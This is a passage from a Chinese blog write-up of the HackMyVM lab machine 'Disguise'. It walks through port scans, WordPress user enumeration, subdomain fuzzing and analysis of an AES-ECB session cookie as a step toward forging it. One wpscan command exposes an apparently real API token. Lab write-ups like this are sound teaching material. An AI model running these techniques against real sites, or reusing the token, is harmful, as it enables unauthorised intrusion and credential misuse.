{"id":903,"date":"2025-06-21T02:59:20","date_gmt":"2025-06-20T18:59:20","guid":{"rendered":"http:\/\/162.14.82.114\/?p=903"},"modified":"2025-06-21T02:59:20","modified_gmt":"2025-06-20T18:59:20","slug":"hmv-_-disguise","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/903\/06\/21\/2025\/","title":{"rendered":"hmv[-_-]Disguise"},"content":{"rendered":"<h1>Disguise<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258202.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258202.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250619011445950\" style=\"zoom: 50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258204.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258204.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620145229604\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nRustScan: Making sure &#039;closed&#039; isn&#039;t just a state of mind.\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.10.100:22\nOpen 192.168.10.100:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)\n| ssh-hostkey: \n|   2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpc4iyFhIzxDvlJoPvgE9rRlFPOqHm4EkLgqXQkVf31csyjpvJgyZpTgr4gYV3oztsMmQbIj+nFGD+L5pQfaSXtAdxKpqt4D\/MnFqVKP6KKGFhATWMCDzGXRaXQyaF7dOq49vkIoptczAU2af2PfwycA3aaI\/lNPOYSHPRufkm102lE\/lHZzNbXh0yJJXy9RJaqELeAibmqdrHFNpXFT8qAvsQrz\/6IKJkia4JLdVbfeMdZBOQ9lIlQg+2VfKXp7pF7kGZKKttIThc8ROqlcOaxlmuC5oKEgFQP7obty1+6fx\/QIuNn3D05FeQMqbvJfFZF1dE2IH4WEbFWRGH6w1\n|   256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAYupwIuJVRtRMDrYZ6fR\/3p5E5vsqXADwGAoZ2RW5vKPxDV3j\/+QjGbnRDj1iD5\/iwZxxlUggSr5raZfzAHrZA=\n|   256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAOshh8VG4l9hWlVYWfAvLuWuwPEdiF8EXmm5BFib\/+q\n80\/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))\n|_http-server-header: Apache\/2.4.59 (Debian)\n|_http-title: Maintenance\nMAC Address: 08:00:27:B4:46:05 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ feroxbuster -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x html txt php 2&gt;\/dev\/null\n\n403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n503      GET      115l      268w     2449c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n301      GET        9l       28w      321c http:\/\/192.168.10.100\/wp-content =&gt; http:\/\/192.168.10.100\/wp-content\/\n200      GET        0l        0w        0c http:\/\/192.168.10.100\/wp-content\/index.php\n301      GET        9l       28w      328c http:\/\/192.168.10.100\/wp-content\/themes =&gt; http:\/\/192.168.10.100\/wp-content\/themes\/\n301      GET        9l       28w      329c http:\/\/192.168.10.100\/wp-content\/uploads =&gt; http:\/\/192.168.10.100\/wp-content\/uploads\/\n200      GET        0l        0w        0c http:\/\/192.168.10.100\/wp-content\/themes\/index.php\n200      GET      384l     3177w    19903c http:\/\/192.168.10.100\/license.txt<\/code><\/pre>\n<p>\u4e00\u626b\u5c31\u5361\u4f4f\u4e86\u3002\u3002\u3002\u3002\u4f46\u662f\u53d1\u73b0\u662f<code>wordpress<\/code>\u7ad9\u70b9\u3002<\/p>\n<h3>wordpress\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ cmseek --url http:\/\/192.168.10.100\n\n[i] Updating CMSeeK result index...\n[*] Report index updated successfully!\n\n ___ _  _ ____ ____ ____ _  _\n|    |\\\/| [__  |___ |___ |_\/  by @r3dhax0r\n|___ |  | ___| |___ |___ | \\_ Version 1.1.3 K-RONA\n\n [+]  CMS Detection And Deep Scan  [+] \n\n[i] Scanning Site: http:\/\/192.168.10.100\/\n[*] CMS Detected, CMS ID: wp, Detection method: header\n[*] Version Detected, WordPress Version 6.8.1\n[i] Checking user registration status\n[i] Starting passive plugin enumeration\n[x] No plugins enumerated!\n[i] Starting passive theme enumeration\n[*] 2 themes detected!\n[i] Starting Username Harvest\n[i] Harvesting usernames from wp-json api\n[*] Found user from wp-json : simpleadmin\n[i] Harvesting usernames from jetpack public api\n[!] No results from jetpack api... maybe the site doesn&#039;t use jetpack\n[i] Harvesting usernames from wordpress author Parameter\n[*] Found user from source code: simpleadmin\n[*] 1 Usernames was enumerated\n[i] Checking version vulnerabilities using wpvulns.com\n[x] Error Retriving data from wpvulndb\n\n ___ _  _ ____ ____ ____ _  _\n|    |\\\/| [__  |___ |___ |_\/  by @r3dhax0r\n|___ |  | ___| |___ |___ | \\_ Version 1.1.3 K-RONA\n\n [+]  Deep Scan Results  [+] \n\n \u250f\u2501Target: 192.168.10.100\n \u2503\n \u2520\u2500\u2500 CMS: WordPress\n \u2503    \u2502\n \u2503    \u251c\u2500\u2500 Version: 6.8.1\n \u2503    \u2570\u2500\u2500 URL: https:\/\/wordpress.org\n \u2503\n \u2520\u2500\u2500[WordPress Deepscan]\n \u2503    \u2502\n \u2503    \u251c\u2500\u2500 Readme file found: http:\/\/192.168.10.100\/\/readme.html\n \u2503    \u251c\u2500\u2500 License file: http:\/\/192.168.10.100\/\/license.txt\n \u2503    \u251c\u2500\u2500 Uploads directory has listing enabled: http:\/\/192.168.10.100\/\/wp-content\/uploads\n \u2503    \u2502\n \u2503    \u251c\u2500\u2500 Themes Enumerated: 2\n \u2503    \u2502    \u2502\n \u2503    \u2502    \u251c\u2500\u2500 Theme: newscrunch\n \u2503    \u2502    \u2502   \u2502\n \u2503    \u2502    \u2502   \u251c\u2500\u2500 Version: 6.8.1\n \u2503    \u2502    \u2502   \u2570\u2500\u2500 URL: http:\/\/192.168.10.100\/\/wp-content\/themes\/newscrunch\n \u2503    \u2502    \u2502\n \u2503    \u2502    \u2570\u2500\u2500 Theme: newsblogger\n \u2503    \u2502        \u2502\n \u2503    \u2502        \u251c\u2500\u2500 Version: 6.8.1\n \u2503    \u2502        \u2570\u2500\u2500 URL: http:\/\/192.168.10.100\/\/wp-content\/themes\/newsblogger\n \u2503    \u2502\n \u2503    \u2502\n \u2503    \u251c\u2500\u2500 Usernames harvested: 1\n \u2503    \u2502    \u2570\u2500\u2500 simpleadmin\n \u2503    \u2502\n \u2503\n \u2520\u2500\u2500 Result: \/home\/kali\/temp\/Disguise\/Result\/192.168.10.100\/cms.json\n \u2503\n \u2517\u2501Scan Completed in 1.21 Seconds, using 46 Requests\n\n CMSeeK says ~ shalom<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>wpscan<\/code>\u8fdb\u884c\u6d4b\u8bd5\uff1a<a href=\"https:\/\/github.com\/wpscanteam\/wpscan\/wiki\/WPScan-User-Documentation\">https:\/\/github.com\/wpscanteam\/wpscan\/wiki\/WPScan-User-Documentation<\/a><\/p>\n<pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ wpscan --url http:\/\/$IP\/ -e vp --plugins-detection mixed --api-token xxxxxxxxxxxxxxx\n_______________________________________________________________\n[i] Plugin(s) Identified:\n\n[+] akismet\n | Location: http:\/\/192.168.10.100\/wp-content\/plugins\/akismet\/\n | Latest Version: 5.4\n | Last Updated: 2025-05-07T16:30:00.000Z\n |\n | Found By: Known Locations (Aggressive Detection)\n |  - http:\/\/192.168.10.100\/wp-content\/plugins\/akismet\/, status: 403\n |\n | [!] 1 vulnerability identified:\n |\n | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)\n |     Fixed in: 3.1.5\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/1a2f3094-5970-4251-9ed0-ec595a0cd26c\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2015-9357\n |      - http:\/\/blog.akismet.com\/2015\/10\/13\/akismet-3-1-5-wordpress\/\n |      - https:\/\/blog.sucuri.net\/2015\/10\/security-advisory-stored-xss-in-akismet-wordpress-plugin.html\n |\n | The version could not be determined.\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ wpscan --url http:\/\/$IP\/ -e u --api-token QgjGEj5XxGc1lJEYv4jXvhLKKWIbJqyqIUvjQnb84Jc\n-------------------------------\n[i] User(s) Identified:\n\n[+] simpleadmin\n | Found By: Wp Json Api (Aggressive Detection)\n |  - http:\/\/192.168.10.100\/wp-json\/wp\/v2\/users\/?per_page=100&amp;page=1\n | Confirmed By:\n |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n |  Login Error Messages (Aggressive Detection)\n\n[+] simpleAdmin\n | Found By: Rss Generator (Aggressive Detection)\n | Confirmed By: Login Error Messages (Aggressive Detection)<\/code><\/pre>\n<p>\u627e\u5230\u4e86\u4fe9\u7528\u6237<code>simpleadmin<\/code>\u4ee5\u53ca<code>simpleAdmin<\/code>\uff0c\u524d\u8005\u5927\u6982\u7387\u4e3a<code>wordpress<\/code>\u7684\u7528\u6237\uff0c\u540e\u8005\u672a\u77e5\u3002<\/p>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p>\u8bbf\u95ee\u4e5f\u6162\u7684\u4e00\u6279\uff0c\u53ef\u80fd\u662f\u505a\u4e86\u5565\u914d\u7f6e\uff1f\u91cd\u542f\u9776\u673a\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258205.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258205.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620150748888\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ whatweb http:\/\/$IP\/\nhttp:\/\/192.168.10.100\/ [200 OK] Apache[2.4.59], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache\/2.4.59 (Debian)], IP[192.168.10.100], JQuery[3.7.1], MetaGenerator[WordPress 6.8.1], Script[speculationrules,text\/javascript], Title[Just a simple wordpress site], UncommonHeaders[link], WordPress[6.8.1], X-UA-Compatible[IE=edge]<\/code><\/pre>\n<p>\u770b\u770b\u5e38\u7528\u5f97\u654f\u611f\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ curl -s http:\/\/$IP\/robots.txt                                     \nUser-agent: *\nDisallow: \/wp-admin\/\nAllow: \/wp-admin\/admin-ajax.php<\/code><\/pre>\n<p>\u67e5\u770b\u4e3b\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u57df\u540d\u89e3\u6790\uff1a<\/p>\n<pre><code class=\"language-text\">192.168.10.100   disguise.hmv<\/code><\/pre>\n<h3>FUZZ<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ ffuf -u &quot;http:\/\/192.168.10.100&quot; -H &quot;Host: FUZZ.disguise.hmv&quot; -c -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/subdomains-top1million-110000.txt -fw 11916 2&gt;\/dev\/null\nwww                     [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 327ms]\ndark                    [Status: 200, Size: 873, Words: 124, Lines: 19, Duration: 185ms]<\/code><\/pre>\n<p>\u6709\u9690\u85cf\u57df\u540d\uff0c\u6dfb\u52a0\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-text\">192.168.10.100   disguise.hmv  dark.disguise.hmv<\/code><\/pre>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ gobuster dir -u http:\/\/dark.disguise.hmv -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html -t 50\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/dark.disguise.hmv\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php                 (Status: 403) [Size: 282]\n\/index.php            (Status: 200) [Size: 873]\n\/.html                (Status: 403) [Size: 282]\n\/login.php            (Status: 200) [Size: 1134]\n\/register.php         (Status: 200) [Size: 2103]\n\/profile.php          (Status: 302) [Size: 0] [--&gt; login.php]\n\/images               (Status: 301) [Size: 323] [--&gt; http:\/\/dark.disguise.hmv\/images\/]\n\/logout.php           (Status: 302) [Size: 0] [--&gt; login.php]\n\/config.php           (Status: 200) [Size: 0]\n\/captcha.php          (Status: 200) [Size: 367]\n\/functions.php        (Status: 200) [Size: 0]\n\/manager              (Status: 301) [Size: 324] [--&gt; http:\/\/dark.disguise.hmv\/manager\/]\n\/.php                 (Status: 403) [Size: 282]\n\/.html                (Status: 403) [Size: 282]\n\/server-status        (Status: 403) [Size: 282]<\/code><\/pre>\n<blockquote>\n<p>\u6211\u8fd9\u91cc\u51fa\u73b0\u4fee\u6539<code>hosts<\/code>\u5931\u6548\uff0c\u8bbf\u95ee 502\uff0c\u540e\u67e5\u660e\u662f\u56e0\u4e3a\u5f00\u4e86\u4ee3\u7406\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<\/blockquote>\n<h3>AES-128 ECB\u4f2a\u9020cookie<\/h3>\n<p>\u6253\u5f00\u65b0\u57df\u540d\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258206.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258206.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620172312774\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u6ce8\u518c\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258207.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258207.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620172346999\" style=\"zoom:50%;\" \/><\/div><\/p>\n<blockquote>\n<p>\u600e\u4e48\u611f\u89c9\u50cf cursor \u5199\u7684\uff0c\u54c8\u54c8\u54c8\u54c8\u3002<\/p>\n<\/blockquote>\n<pre><code class=\"language-text\">username\npassword<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258208.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258208.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620172449455\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6ca1\u4e1c\u897f\uff0c\u4f46\u662f cookie \u770b\u4e0a\u53bb\u6709\u70b9\u4e1c\u897f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258209.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258209.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620172701309\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-text\">dark_session: %2BRofqaf35NZSFE50nowHdw%3D%3D\nPHPSESSID: 1j48gohlqpqf9knohfbac7bm0q<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u7834\u8bd1\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258210.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258210.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620172848403\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u770b\u4e0a\u53bb\u50cf\u662f<code>base64<\/code>\u4f46\u662f\u53c8\u4e0d\u4e00\u6837\uff0c\u6709<code> + <\/code>\uff0c\u5c1d\u8bd5\u518d\u521b\u5efa\u4e00\u4e2a\u8d26\u53f7\u5bf9\u6bd4\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-text\">kali\nkali<\/code><\/pre>\n<p>cookie \u5219\u4e3a\uff1a<\/p>\n<pre><code class=\"language-text\">dark_session: NL8B2mVVM8jKIu9pbCLIyw%3D%3D\nPHPSESSID: 1j48gohlqpqf9knohfbac7bm0q<\/code><\/pre>\n<p>\u89e3\u7801\u4ee5\u540e\u5206\u522b\u4e3a\uff1a<\/p>\n<pre><code class=\"language-text\">+Rofqaf35NZSFE50nowHdw==\nNL8B2mVVM8jKIu9pbCLIyw==<\/code><\/pre>\n<h4>AES-128\u52a0\u5bc6<\/h4>\n<p>\u4f4d\u6570\u4e00\u6837\uff0c\u7531\u4e8e\u5bc6\u7801\u622a\u7136\u4e0d\u4e00\u6837\uff0c\u770b\u4e0d\u51fa\u5173\u7cfb\uff0c\u5c1d\u8bd5\u591a\u6ce8\u518c\u51e0\u4e2a\uff1a<\/p>\n<pre><code class=\"language-bash\">aaaa:bbbb:4\naaaaaaaa:bbbbbbbb:8\naaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb:16\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:32\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n========&gt;\ne3Opvt7372tUQCmdavBBxA%3D%3D\n5SKl5Bbstz3e0GrQ8QBCkA%3D%3D\nFUoxH12UY%2FN58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE%3D\nFUoxH12UY%2FN58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x\n\ne3Opvt7372tUQCmdavBBxA==\n5SKl5Bbstz3e0GrQ8QBCkA==\nFUoxH12UY\/N58pkbRNAAfw3VkIUgMs7BjIoGhLHIvrE=\nFUoxH12UY\/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTEN1ZCFIDLOwYyKBoSxyL6x<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258211.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258211.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250620221750970\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u524d\u7aef\u8fdb\u884c\u6821\u9a8c\u4e86\uff0c\u53ef\u4ee5\u7981\u7528\u6389 js\uff0c\u518d\u6ce8\u518c\u5373\u53ef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258212.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258212.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" 